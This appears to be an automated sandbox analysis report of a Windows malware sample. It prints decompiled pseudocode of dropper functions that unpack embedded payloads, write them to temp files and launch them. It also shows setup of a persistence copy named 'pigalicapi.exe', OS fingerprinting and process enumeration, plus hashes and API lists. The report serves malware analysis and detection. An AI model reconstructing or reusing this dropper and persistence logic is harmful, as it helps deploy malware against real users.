String ID: UndefinedOS$Vista$Win2K$Win7$Win8$WinHomeServer$WinServer2003$WinServer2003R2$WinServer2008$WinServer2008R2$WinServer2012$WinXP$WinXP64$_x64
API String ID: 3139318632-332591429
Opcode ID: b80c610fb93e26c1f6b8a0e3d57eccb9ead3b078b5df3064abf97d281ea2cf4c
Instruction ID: 2fdea20511d00b83c143a5217ffb9651c4d2114897e9ccdf2931e29d93762e72
Opcode Fuzzy Hash: b80c610fb93e26c1f6b8a0e3d57eccb9ead3b078b5df3064abf97d281ea2cf4c
Instruction Fuzzy Hash: 1A81F9B4644209EBFB249F60C849BAE7BB5FB49301F00C659F905BA2C1D779E9C1CB61

Uniqueness

Uniqueness Score: -1.00%

Function 040062B0 Relevance: 56.7, APIs: 29, Strings: 3, Instructions: 657
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E040062B0(intOrPtr* _a4, intOrPtr _a8) {
				long _v8;
				intOrPtr _v12;
				signed int _v13;
				void* _v20;
				int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void _v36;
				void* _v40;
				long _v44;
				signed int _v48;
				void* _v52;
				long _v56;
				void _v60;
				char _v324;
				void* _v328;
				char _v340;
				char _v604;
				int _v608;
				long _v612;
				signed int _v616;
				void* _v620;
				void* _v624;
				void* _v628;
				int _v632;
				signed int _v636;
				long _v640;
				void* _v644;
				void* _v648;
				void* _v652;
				char _v916;
				void* _v920;
				char _v932;
				char _v1196;
				long _v1200;
				int _v1204;
				long _v1208;
				void* _v1212;
				long _v1216;
				signed int _v1220;
				void* _v1224;
				void* _v1228;
				intOrPtr _t317;
				signed char _t321;
				void* _t333;
				signed int _t340;
				void* _t349;
				signed int _t355;
				void* _t361;
				void* _t368;
				void* _t378;
				void* _t381;
				signed int _t383;
				void* _t386;
				void* _t393;
				int _t415;
				signed int _t421;
				signed int _t428;
				signed char _t433;
				void* _t439;
				signed char _t442;
				void* _t448;
				signed int _t452;
				intOrPtr _t455;
				void* _t465;
				void* _t472;
				void* _t473;
				void* _t508;
				void* _t509;
				void* _t528;
				void* _t529;
				void* _t539;
				void* _t549;
				void* _t550;
				void* _t551;
				void* _t563;
				void* _t598;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0) {
					L99:
					return _v8;
				} else {
					_v12 =  *_a4;
					if(_v12 > 0 && _v12 < 0x400) {
						_v20 = _a4 + 4;
						_v24 = 0;
						while(_v24 < _v12) {
							if(_v24 <= 0) {
								L10:
								_v28 = _v20 + 0x18;
								_v32 =  *_v20 - 0x18;
								__eflags =  *((intOrPtr*)(_v20 + 4)) -  *0x400e270; // 0x1
								if(__eflags != 0) {
									L22:
									_t428 = _v24 + 1;
									__eflags = _t428;
									_v24 = _t428;
									continue;
								}
								__eflags =  *((intOrPtr*)(_v20 + 8)) -  *0x400e284; // 0x1
								if(__eflags != 0) {
									goto L22;
								}
								_t508 = _v20;
								__eflags =  *(_t508 + 0xc) & 0x00000002;
								if(( *(_t508 + 0xc) & 0x00000002) == 0) {
									goto L22;
								}
								__eflags =  *0x401435d & 0x000000ff;
								if(( *0x401435d & 0x000000ff) == 0) {
									goto L22;
								}
								_t509 = _v20;
								__eflags =  *(_t509 + 0xc) & 0x00000010;
								if(( *(_t509 + 0xc) & 0x00000010) == 0) {
									_t433 = E04001EE0(_v28, 0xea60);
									_t598 = _t598 + 8;
									_v8 = _t433 & 0x000000ff;
									L21:
									break;
								}
								_v44 =  *((intOrPtr*)(_v28 + _v32 - 4));
								_v40 = VirtualAlloc(0, _v44, 0x3000, 4);
								__eflags = _v40;
								if(_v40 == 0) {
									L19:
									goto L21;
								}
								_t439 = E04006260(_v40, _v28, _v32, _v40, _v44);
								__eflags = _t439 - _v44;
								if(_t439 == _v44) {
									_t442 = E04001EE0(_v40, 0xea60);
									_t598 = _t598 + 8;
									_v8 = _t442 & 0x000000ff;
								}
								VirtualFree(_v40, 0, 0x8000);
								goto L19;
							} else {
								_v36 =  *_v20;
								_v20 = _v20 + _v36;
								if(_v20 <= _a4 + _a8) {
									goto L10;
								} else {
									return 0;
								}
							}
						}
						_v13 = 0;
						_v20 = _a4 + 4;
						_v48 = 0;
						while(1) {
							__eflags = _v48 - _v12;
							if(_v48 >= _v12) {
								break;
							}
							__eflags = _v48;
							if(_v48 <= 0) {
								L29:
								_v52 = _v20 + 0x18;
								_v56 =  *_v20 - 0x18;
								__eflags =  *((intOrPtr*)(_v20 + 4)) -  *0x400e274; // 0x2
								if(__eflags != 0) {
									L39:
									_t448 = _v20;
									__eflags =  *(_t448 + 0xc) & 0x00000002;
									if(( *(_t448 + 0xc) & 0x00000002) == 0) {
										__eflags =  *((intOrPtr*)(_v20 + 4)) -  *0x400e270; // 0x1
										if(__eflags != 0) {
											L90:
											__eflags =  *((intOrPtr*)(_v20 + 4)) -  *0x400e278; // 0x3
											if(__eflags != 0) {
												L93:
												__eflags =  *((intOrPtr*)(_v20 + 4)) -  *0x400e27c; // 0x4
												if(__eflags == 0) {
													_v13 = 1;
												}
												L95:
												L24:
												_t452 = _v48 + 1;
												__eflags = _t452;
												_v48 = _t452;
												continue;
											}
											__eflags =  *((intOrPtr*)(_v20 + 8)) -  *0x400e288; // 0x2
											if(__eflags != 0) {
												goto L93;
											}
											_t317 =  *0x400e28c; // 0x4013f88
											_t455 =  *0x40118a0; // 0x4013b88
											E0400A360(_t455, _t317, _v52, _v56);
											_t598 = _t598 + 0x10;
											goto L95;
										}
										__eflags =  *((intOrPtr*)(_v20 + 8)) -  *0x400e284; // 0x1
										if(__eflags != 0) {
											goto L90;
										}
										_t321 = E04007250(_v20, _v52, _v56);
										_t598 = _t598 + 0xc;
										__eflags = _t321 & 0x000000ff;
										if((_t321 & 0x000000ff) != 0) {
											_t528 = _v20;
											__eflags =  *(_t528 + 0x14);
											if( *(_t528 + 0x14) == 0) {
												L48:
												_t529 = _v20;
												__eflags =  *(_t529 + 0xc) & 0x00000001;
												if(( *(_t529 + 0xc) & 0x00000001) == 0) {
													GetEnvironmentVariableA("TEMP",  &_v1196, 0x104);
													E04007D20( &_v932,  &_v932, 0, 0xa);
													E04009730( &_v932, 4);
													_t598 = _t598 + 0x14;
													GetTempFileNameA( &_v1196,  &_v932, GetTickCount() % 0xffff,  &_v916);
													_v920 = CreateFileA( &_v916, 0x40000000, 1, 0, 2, 0, 0);
													__eflags = _v920 - 0xffffffff;
													if(_v920 == 0xffffffff) {
														L89:
														goto L24;
													}
													_v1200 = 0;
													_v1204 = 0;
													_v1208 = _v56;
													_t333 = _v20;
													__eflags =  *(_t333 + 0xc) & 0x00000010;
													if(( *(_t333 + 0xc) & 0x00000010) == 0) {
														_v1204 = WriteFile(_v920, _v52, _v56,  &_v1200, 0);
													} else {
														_v1216 =  *((intOrPtr*)(_v52 + _v56 - 4));
														_v1212 = VirtualAlloc(0, _v1216, 0x3000, 4);
														__eflags = _v1212;
														if(_v1212 != 0) {
															_t349 = E04006260(_v56, _v52, _v56, _v1212, _v1216);
															__eflags = _t349 - _v1216;
															if(_t349 == _v1216) {
																_v1204 = WriteFile(_v920, _v1212, _v1216,  &_v1200, 0);
																_v1208 = _v1216;
															}
															VirtualFree(_v1212, 0, 0x8000);
														}
													}
													__eflags = _v1204;
													if(_v1204 == 0) {
														L88:
														CloseHandle(_v920);
													} else {
														__eflags = _v1200 - _v1208;
														if(_v1200 != _v1208) {
															goto L88;
														}
														CloseHandle(_v920);
														_t340 = E04001E60( &_v916);
														_t598 = _t598 + 4;
														_v1220 = _t340;
														__eflags = _v1220;
														if(_v1220 != 0) {
															_t465 = _v20;
															__eflags =  *(_t465 + 0x10);
															if( *(_t465 + 0x10) != 0) {
																E040073C0(_v20, _v52, _v56);
																_t598 = _t598 + 0xc;
															}
															_t539 = _v20;
															__eflags =  *(_t539 + 0xc) & 0x00000004;
															if(( *(_t539 + 0xc) & 0x00000004) != 0) {
																E04002510(_v1220, 0x400e290);
																_t598 = _t598 + 8;
															}
															_v8 = 1;
														}
													}
													goto L89;
												}
												_v636 = 0;
												_v632 = 0;
												_v640 = 0;
												_t472 = _v20;
												__eflags =  *(_t472 + 0xc) & 0x00000010;
												if(( *(_t472 + 0xc) & 0x00000010) == 0) {
													_t355 = E04002070(_v52);
													_t598 = _t598 + 4;
													_v636 = _t355;
												} else {
													_v640 =  *((intOrPtr*)(_v52 + _v56 - 4));
													_t378 = VirtualAlloc(0, _v640, 0x3000, 4); // executed
													_v644 = _t378;
													__eflags = _v644;
													if(_v644 != 0) {
														_t381 = E04006260(_v644, _v52, _v56, _v644, _v640);
														__eflags = _t381 - _v640;
														if(_t381 == _v640) {
															_t383 = E04002070(_v644); // executed
															_t598 = _t598 + 4;
															_v636 = _t383;
															_t563 = _v20;
															__eflags =  *(_t563 + 0xc) & 0x00000008;
															if(( *(_t563 + 0xc) & 0x00000008) != 0) {
																_t386 = VirtualAlloc(0, _v640, 0x3000, 4); // executed
																_v632 = _t386;
																E04007B70(_v632, _v644, _v640);
																_t598 = _t598 + 0xc;
															}
														}
														VirtualFree(_v644, 0, 0x8000); // executed
													}
												}
												__eflags = _v636;
												if(_v636 != 0) {
													_t473 = _v20;
													__eflags =  *(_t473 + 0x10);
													if( *(_t473 + 0x10) != 0) {
														E040073C0(_v20, _v52, _v56);
														_t598 = _t598 + 0xc;
													}
													_t549 = _v20;
													__eflags =  *(_t549 + 0xc) & 0x00000008;
													if(( *(_t549 + 0xc) & 0x00000008) != 0) {
														_t361 = E040097A0(0x10);
														_t598 = _t598 + 4;
														_v1228 = _t361;
														_v648 = _v1228;
														_t551 = _v20;
														__eflags =  *(_t551 + 0xc) & 0x00000010;
														if(( *(_t551 + 0xc) & 0x00000010) == 0) {
															 *_v648 = VirtualAlloc(0, _v56, 0x3000, 4);
															__eflags =  *_v648;
															if( *_v648 != 0) {
																E04007B70( *_v648, _v52, _v56);
																_t598 = _t598 + 0xc;
																 *(_v648 + 4) = _v56;
															}
														} else {
															 *_v648 = _v632;
															 *(_v648 + 4) = _v640;
														}
														__eflags =  *_v648;
														if( *_v648 != 0) {
															 *((intOrPtr*)(_v648 + 8)) =  *((intOrPtr*)(_v20 + 0xc));
															 *((intOrPtr*)(_v648 + 0xc)) = _v636;
															_t368 = CreateThread(0, 0, E040077B0, _v648, 0, 0); // executed
															_v652 = _t368;
															CloseHandle(_v652);
														}
													}
													_t550 = _v20;
													__eflags =  *(_t550 + 0xc) & 0x00000004;
													if(( *(_t550 + 0xc) & 0x00000004) != 0) {
														E04002510(_v636, 0x400e290);
														_t598 = _t598 + 8;
													}
													_v8 = 1;
												}
												goto L24;
											}
											_v620 = VirtualAlloc(0, _v56, 0x3000, 4);
											__eflags = _v620;
											if(_v620 == 0) {
												goto L48;
											}
											E04007B70(_v620, _v52, _v56);
											_t393 = E040097A0(0x20);
											_t598 = _t598 + 0x10;
											_v1224 = _t393;
											_v624 = _v1224;
											 *_v624 =  *_v20;
											 *((intOrPtr*)(_v624 + 4)) =  *((intOrPtr*)(_v20 + 4));
											 *((intOrPtr*)(_v624 + 8)) =  *((intOrPtr*)(_v20 + 8));
											 *((intOrPtr*)(_v624 + 0x14)) =  *((intOrPtr*)(_v20 + 0x14));
											 *((intOrPtr*)(_v624 + 0x1c)) = _v56;
											 *((intOrPtr*)(_v624 + 0xc)) =  *((intOrPtr*)(_v20 + 0xc));
											 *((intOrPtr*)(_v624 + 0x10)) =  *((intOrPtr*)(_v20 + 0x10));
											 *(_v624 + 0x18) = _v620;
											_v628 = CreateThread(0, 0, E04006DA0, _v624, 0, 0);
											CloseHandle(_v628);
											goto L24;
										}
										goto L24;
									}
									goto L24;
								}
								__eflags =  *((intOrPtr*)(_v20 + 8)) -  *0x400e284; // 0x1
								if(__eflags != 0) {
									goto L39;
								}
								GetEnvironmentVariableA("TEMP",  &_v604, 0x104);
								E04007D20( &_v340,  &_v340, 0, 0xa);
								E04009730( &_v340, 4);
								_t598 = _t598 + 0x14;
								GetTempFileNameA( &_v604,  &_v340, GetTickCount() % 0xffff,  &_v324);
								_v328 = CreateFileA( &_v324, 0x40000000, 1, 0, 2, 0x80, 0);
								__eflags = _v328 - 0xffffffff;
								if(_v328 == 0xffffffff) {
									goto L39;
								}
								_v608 = 0;
								_v612 = 0;
								_t415 = WriteFile(_v328, _v52, _v56,  &_v612, 0);
								__eflags = _t415;
								if(_t415 == 0) {
									L37:
									__eflags = _v608;
									if(_v608 == 0) {
										CloseHandle(_v328);
									}
									goto L39;
								}
								__eflags = _v612 - _v56;
								if(_v612 != _v56) {
									goto L37;
								}
								_v608 = CloseHandle(_v328);
								E04006C60();
								_t421 = E04001E60( &_v324);
								_t598 = _t598 + 4;
								_v616 = _t421;
								__eflags = _v616;
								if(_v616 == 0) {
									E04006CF0();
									goto L37;
								}
								E040074A0();
								ExitProcess(0);
							}
							_v60 =  *_v20;
							_v20 = _v20 + _v60;
							__eflags = _v20 - _a4 + _a8;
							if(_v20 <= _a4 + _a8) {
								goto L29;
							}
							return 0;
						}
						__eflags = (_v13 & 0x000000ff) - 1;
						if((_v13 & 0x000000ff) != 1) {
							 *0x40130e4 = 1;
						} else {
							 *0x40130e4 = 2;
						}
					}
					goto L99;
				}
			}

0x040062b9
0x040062c4
0x04006c4e
0x00000000
0x040062d4
0x040062d9
0x040062e0
0x040062f9
0x040062fc
0x0400630e
0x0400631e
0x04006343
0x04006349
0x04006354
0x0400635d
0x04006363
0x04006429
0x04006308
0x04006308
0x0400630b
0x00000000
0x0400630b
0x0400636f
0x04006375
0x00000000
0x00000000
0x0400637b
0x04006381
0x04006384
0x00000000
0x00000000
0x04006391
0x04006393
0x00000000
0x00000000
0x04006399
0x0400639f
0x040063a2
0x04006419
0x0400641e
0x04006424
0x04006427
0x00000000
0x04006427
0x040063ad
0x040063c3
0x040063c6
0x040063ca
0x0400640e
0x00000000
0x0400640e
0x040063dc
0x040063e1
0x040063e4
0x040063ef
0x040063f4
0x040063fa
0x040063fa
0x04006408
0x00000000
0x04006320
0x04006325
0x0400632e
0x0400633a
0x00000000
0x0400633c
0x00000000
0x0400633c
0x0400633a
0x0400631e
0x0400642e
0x04006438
0x0400643b
0x0400644d
0x04006450
0x04006453
0x00000000
0x00000000
0x04006459
0x0400645d
0x04006482
0x04006488
0x04006493
0x0400649c
0x040064a2
0x040065f3
0x040065f3
0x040065f9
0x040065fc
0x04006609
0x0400660f
0x04006bdd
0x04006be3
0x04006be9
0x04006c18
0x04006c1e
0x04006c24
0x04006c26
0x04006c26
0x04006c2a
0x04006444
0x04006447
0x04006447
0x0400644a
0x00000000
0x0400644a
0x04006bf1
0x04006bf7
0x00000000
0x00000000
0x04006c01
0x04006c07
0x04006c0e
0x04006c13
0x00000000
0x04006c13
0x0400661b
0x04006621
0x00000000
0x00000000
0x04006633
0x04006638
0x0400663e
0x04006640
0x04006647
0x0400664a
0x0400664e
0x04006752
0x04006752
0x04006758
0x0400675b
0x040069cb
0x040069dc
0x040069ed
0x040069f2
0x04006a1a
0x04006a3c
0x04006a42
0x04006a49
0x04006bd6
0x00000000
0x04006bd6
0x04006a4f
0x04006a59
0x04006a66
0x04006a6c
0x04006a72
0x04006a75
0x04006b3c
0x04006a7b
0x04006a84
0x04006aa0
0x04006aa6
0x04006aad
0x04006ac5
0x04006aca
0x04006ad0
0x04006af6
0x04006b02
0x04006b02
0x04006b16
0x04006b16
0x04006b1c
0x04006b42
0x04006b49
0x04006bc9
0x04006bd0
0x04006b4b
0x04006b51
0x04006b57
0x00000000
0x00000000
0x04006b60
0x04006b6d
0x04006b72
0x04006b75
0x04006b7b
0x04006b82
0x04006b84
0x04006b87
0x04006b8b
0x04006b99
0x04006b9e
0x04006b9e
0x04006ba1
0x04006ba7
0x04006baa
0x04006bb8
0x04006bbd
0x04006bbd
0x04006bc0
0x04006bc0
0x04006bc7
0x00000000
0x04006b49
0x04006761
0x0400676b
0x04006775
0x0400677f
0x04006785
0x04006788
0x0400685c
0x04006861
0x04006864
0x0400678e
0x04006797
0x040067ad
0x040067b3
0x040067b9
0x040067c0
0x040067dc
0x040067e1
0x040067e7
0x040067f0
0x040067f5
0x040067f8
0x040067fe
0x04006804
0x04006807
0x04006819
0x0400681f
0x0400683a
0x0400683f
0x0400683f
0x04006807
0x04006850
0x04006850
0x04006856
0x0400686a
0x04006871
0x04006877
0x0400687a
0x0400687e
0x0400688c
0x04006891
0x04006891
0x04006894
0x0400689a
0x0400689d
0x040068a5
0x040068aa
0x040068ad
0x040068b9
0x040068bf
0x040068c5
0x040068c8
0x04006902
0x0400690a
0x0400690d
0x04006920
0x04006925
0x04006931
0x04006931
0x040068ca
0x040068d6
0x040068e4
0x040068e4
0x0400693a
0x0400693d
0x0400694b
0x0400695a
0x04006971
0x04006977
0x04006984
0x04006984
0x0400693d
0x0400698a
0x04006990
0x04006993
0x040069a1
0x040069a6
0x040069a6
0x040069a9
0x040069a9
0x00000000
0x040069b0
0x04006667
0x0400666d
0x04006674
0x00000000
0x00000000
0x04006689
0x04006693
0x04006698
0x0400669b
0x040066a7
0x040066b8
0x040066c6
0x040066d5
0x040066e4
0x040066f0
0x040066ff
0x0400670e
0x0400671d
0x0400673a
0x04006747
0x00000000
0x04006747
0x00000000
0x04006642
0x00000000
0x040065fe
0x040064ae
0x040064b4
0x00000000
0x00000000
0x040064cb
0x040064dc
0x040064ed
0x040064f2
0x0400651a
0x0400653f
0x04006545
0x0400654c
0x00000000
0x00000000
0x04006552
0x0400655c
0x0400657e
0x04006584
0x04006586
0x040065dd
0x040065dd
0x040065e4
0x040065ed
0x040065ed
0x00000000
0x040065e4
0x0400658e
0x04006591
0x00000000
0x00000000
0x040065a0
0x040065a6
0x040065b2
0x040065b7
0x040065ba
0x040065c0
0x040065c7
0x040065d8
0x00000000
0x040065d8
0x040065c9
0x040065d0
0x040065d0
0x04006464
0x0400646d
0x04006476
0x04006479
0x00000000
0x00000000
0x00000000
0x0400647b
0x04006c33
0x04006c36
0x04006c44
0x04006c38
0x04006c38
0x04006c38
0x04006c36
0x00000000
0x040062e0

APIs

VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 040063BD
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,00000000,?), ref: 04006408

Strings

TEMP, xrefs: 040069C6
TEMP, xrefs: 040064C6
Vatwyovatk, xrefs: 04006C06

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: Virtual$AllocFree
String ID: TEMP$TEMP$Vatwyovatk
API String ID: 2087232378-1226953995
Opcode ID: 163a6c67a9ad4a050b6a0ddf75bfa28f589bd25aa1d8280bf8524ef74e6305bb
Instruction ID: 78f313c43f0008814aaec3ee7e7f4a65c37c9c75159239be5687e4ed3a221f5b
Opcode Fuzzy Hash: 163a6c67a9ad4a050b6a0ddf75bfa28f589bd25aa1d8280bf8524ef74e6305bb
Instruction Fuzzy Hash: 70522BB5A042199FEB54DF94DC88FAEB7B6FB48304F148598E509BB280D775AE80CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04004020 Relevance: 30.2, APIs: 20, Instructions: 215
threadsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E04004020(intOrPtr _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16, signed int _a20, char _a24) {
				signed int _v5;
				signed int _v12;
				char _v16;
				void* _v20;
				struct _CRITICAL_SECTION _v44;
				long _v48;
				void* _v52;
				void _v56;
				long _v60;
				HANDLE* _v64;
				void* _v68;
				intOrPtr _v72;
				void* _v76;
				intOrPtr _v80;
				signed int _v84;
				void _v92;
				long _v96;
				signed int _v100;
				HANDLE* _v104;
				HANDLE* _v108;
				void* _t114;
				void* _t141;
				void* _t188;
				void* _t189;
				void* _t191;

				_v5 = 0;
				if(_a4 != 0 && _a8 > 0 && _a12 != 0 && _a16 > 0) {
					E04007D20( &_v56,  &_v56, 0, 0x29);
					_t189 = _t188 + 0xc;
					InitializeCriticalSection( &_v44);
					_v16 = _a24;
					_v20 = CreateEventA(0, 1, 0, 0);
					asm("cdq");
					_v12 = _a8 / _a20;
					_v60 = 0;
					while(_v60 < _a16) {
						EnterCriticalSection( &_v44);
						if(_v52 != 0) {
							VirtualFree(_v52, 0, 0x8000);
							_v52 = 0;
							_v48 = 0;
						}
						_t198 = _v56;
						if(_v56 != 0) {
							TerminateThread(_v56, 0);
							_v56 = 0;
						}
						ResetEvent(_v20);
						LeaveCriticalSection( &_v44);
						_t114 = CreateThread(0, 0, E04004AC0,  &_v56, 0, 0); // executed
						_v56 = _t114;
						_v104 = E040097A0( ~(0 | _t198 > 0x00000000) | _a20 * 0x00000004);
						_v64 = _v104;
						E04007D20(_v104, _v64, 0, _a20 << 2);
						_t191 = _t189 + 0x10;
						_v100 = 0;
						while(_v100 < _a20) {
							_v64[_v100] = 0;
							E04007D20(_v64,  &_v92, 0, 0x1c);
							_t191 = _t191 + 0xc;
							_v68 =  &_v56;
							_v72 = _a12;
							_v92 = _a4;
							_v84 = _v100 * _v12;
							if(_v100 >= _a20 - 1) {
								_v80 = _a8 - 1;
							} else {
								_v80 = _v84 + _v12 - 1;
							}
							_v76 = CreateEventA(0, 1, 0, 0);
							_t141 = CreateThread(0, 0, E04004BA0,  &_v92, 0, 0); // executed
							_v64[_v100] = _t141;
							WaitForSingleObject(_v76, 0xffffffff);
							FindCloseChangeNotification(_v76); // executed
							_v100 = _v100 + 1;
						}
						WaitForMultipleObjects(_a20, _v64, 1, 0xffffffff);
						_v96 = WaitForSingleObject(_v20, 0x2710);
						if(_v96 == 0) {
							_v5 = 1;
						}
						_v96 = WaitForSingleObject(_v56, 0x3e8);
						if(_v96 != 0) {
							TerminateThread(_v56, 0);
						}
						EnterCriticalSection( &_v44);
						if(_v52 != 0) {
							VirtualFree(_v52, 0, 0x8000); // executed
							_v52 = 0;
							_v48 = 0;
						}
						LeaveCriticalSection( &_v44);
						_v108 = _v64;
						E040097C0(_v108);
						_t189 = _t191 + 4;
						if((_v5 & 0x000000ff) == 0) {
							_v60 = _v60 + 1;
							continue;
						} else {
						}
						break;
					}
					DeleteCriticalSection( &_v44);
				}
				return _v5;
			}

0x04004026
0x0400402e
0x0400405a
0x0400405f
0x04004066
0x0400406f
0x04004080
0x04004086
0x0400408a
0x0400408d
0x0400409f
0x040040af
0x040040b9
0x040040c6
0x040040cc
0x040040d3
0x040040d3
0x040040da
0x040040de
0x040040e6
0x040040ec
0x040040ec
0x040040f7
0x04004101
0x04004118
0x0400411e
0x0400413d
0x04004143
0x04004153
0x04004158
0x0400415b
0x0400416d
0x0400417f
0x0400418e
0x04004193
0x04004199
0x0400419f
0x040041a5
0x040041af
0x040041bb
0x040041d2
0x040041bd
0x040041c7
0x040041c7
0x040041e3
0x040041f7
0x04004203
0x0400420c
0x04004216
0x0400416a
0x0400416a
0x0400422d
0x04004242
0x04004249
0x0400424b
0x0400424b
0x0400425e
0x04004265
0x0400426d
0x0400426d
0x04004277
0x04004281
0x0400428e
0x04004294
0x0400429b
0x0400429b
0x040042a6
0x040042af
0x040042b6
0x040042bb
0x040042c4
0x0400409c
0x00000000
0x00000000
0x040042c6
0x00000000
0x040042c4
0x040042d1
0x040042d1
0x040042dd

APIs

InitializeCriticalSection.KERNEL32(?), ref: 04004066
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0400407A
EnterCriticalSection.KERNEL32(?,?), ref: 040040AF
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040040C6
TerminateThread.KERNEL32(00000000,00000000), ref: 040040E6
ResetEvent.KERNEL32(00000000), ref: 040040F7
LeaveCriticalSection.KERNEL32(?), ref: 04004101
CreateThread.KERNEL32 ref: 04004118
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 040041DD
CreateThread.KERNEL32 ref: 040041F7
WaitForSingleObject.KERNEL32(?,000000FF), ref: 0400420C
FindCloseChangeNotification.KERNEL32(?), ref: 04004216
WaitForMultipleObjects.KERNEL32(?,?,00000001,000000FF), ref: 0400422D
WaitForSingleObject.KERNEL32(00000000,00002710), ref: 0400423C
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 04004258
TerminateThread.KERNEL32(00000000,00000000), ref: 0400426D
EnterCriticalSection.KERNEL32(?), ref: 04004277
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 0400428E
LeaveCriticalSection.KERNEL32(?), ref: 040042A6
DeleteCriticalSection.KERNEL32(?,?), ref: 040042D1

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: CriticalSection$CreateThreadWait$EventObjectSingle$EnterFreeLeaveTerminateVirtual$ChangeCloseDeleteFindInitializeMultipleNotificationObjectsReset
String ID:
API String ID: 1593741596-0
Opcode ID: 05fe0913d4c170341a487d691e6358ffadb3a1425a440243058cc0667604890e
Instruction ID: 8bdf0d2272c993105e18f632bfcb20d3462f1ee8570acd5c3bdc395bff94e74a
Opcode Fuzzy Hash: 05fe0913d4c170341a487d691e6358ffadb3a1425a440243058cc0667604890e
Instruction Fuzzy Hash: 6A910D74A04208AFEB14DFA4D849BDDBBB5FB48705F108219FA05BB2C0D778A984CF55

Uniqueness

Uniqueness Score: -1.00%

Function 04005700 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 148
filememorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E04005700(CHAR* _a4) {
				char _v5;
				char _v24;
				long _v28;
				void* _v32;
				char _v556;
				long _v560;
				void* _v564;
				long _v568;
				intOrPtr _t59;
				void* _t67;
				void* _t71;

				_v5 = 0;
				if(_a4 != 0) {
					E04008F80(_a4, 0x100, _a4 + 0x437); // executed
					GetModuleFileNameA(0, _a4 + 0x100, 0x104);
					E04001CA0(_a4 + 0x204, 0x104); // executed
					E04009D20( &_v24, _a4 + 0x40c, 0x27); // executed
					E04007B70(_a4 + 0x45b,  &_v24, 0x10);
					_t59 = E04005CD0(_a4 + 0x100); // executed
					 *((intOrPtr*)(_a4 + 0x433)) = _t59;
					lstrcpyA(_a4 + 0x43b, "pigalicapi");
					E04007D20( &_v556,  &_v556, 0, 0x208);
					_v28 = 0x207;
					if(( *0x401435a & 0x000000ff) == 0) {
						GetEnvironmentVariableA("USERPROFILE",  &_v556, 0x207);
					} else {
						__imp__GetAllUsersProfileDirectoryA( &_v556,  &_v28);
					}
					wnsprintfA(_a4 + 0x308, 0x104, "%s\\%s.exe",  &_v556, "pigalicapi");
					_t67 = CreateFileA(_a4 + 0x100, 0x80000000, 7, 0, 3, 0x80, 0); // executed
					_v32 = _t67;
					if(_v32 != 0xffffffff) {
						_v560 = GetFileSize(_v32, 0);
						if(_v560 > 0) {
							_t71 = VirtualAlloc(0, _v560, 0x3000, 4); // executed
							_v564 = _t71;
							if(_v564 != 0) {
								_v568 = 0;
								ReadFile(_v32, _v564, _v560,  &_v568, 0); // executed
								if(_v568 != _v560) {
									VirtualFree(_v564, 0, 0x8000);
								} else {
									 *(_a4 + 0x453) = _v560;
									 *(_a4 + 0x457) = _v564;
								}
							}
						}
						CloseHandle(_v32);
					}
					_v5 = 1;
				}
				return _v5;
			}

0x04005709
0x04005711
0x04005729
0x04005742
0x04005756
0x0400576e
0x04005786
0x04005798
0x040057a3
0x040057b8
0x040057cc
0x040057d4
0x040057e4
0x0400580a
0x040057e6
0x040057f1
0x040057f1
0x0400582f
0x04005854
0x0400585a
0x04005861
0x04005873
0x04005880
0x04005896
0x0400589c
0x040058a9
0x040058ab
0x040058d0
0x040058e2
0x04005912
0x040058e4
0x040058ed
0x040058fc
0x040058fc
0x040058e2
0x040058a9
0x0400591c
0x0400591c
0x04005922
0x04005922
0x0400592c

APIs

Part of subcall function 04008F80: GetVersionExA.KERNEL32(0000009C), ref: 04008FF7
Part of subcall function 04008F80: GetSystemInfo.KERNEL32(?), ref: 04009009
Part of subcall function 04008F80: lstrcatA.KERNEL32(00000000,Win2K), ref: 0400902E
Part of subcall function 04008F80: lstrcatA.KERNEL32(00000000,_x64), ref: 04009222
Part of subcall function 04008F80: lstrlenA.KERNEL32(?), ref: 0400922F
Part of subcall function 04008F80: lstrcatA.KERNEL32(00000000,0400C980), ref: 04009242
Part of subcall function 04008F80: lstrcatA.KERNEL32(00000000,?), ref: 04009253
Part of subcall function 04008F80: lstrlenA.KERNEL32(00000000), ref: 0400925D
Part of subcall function 04008F80: lstrcatA.KERNEL32(00000000,UndefinedOS), ref: 04009275

GetModuleFileNameA.KERNEL32(00000000,-00000100,00000104), ref: 04005742

Part of subcall function 04001CA0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 04001CB1
Part of subcall function 04001CA0: Process32First.KERNEL32(000000FF,00000128), ref: 04001CE1
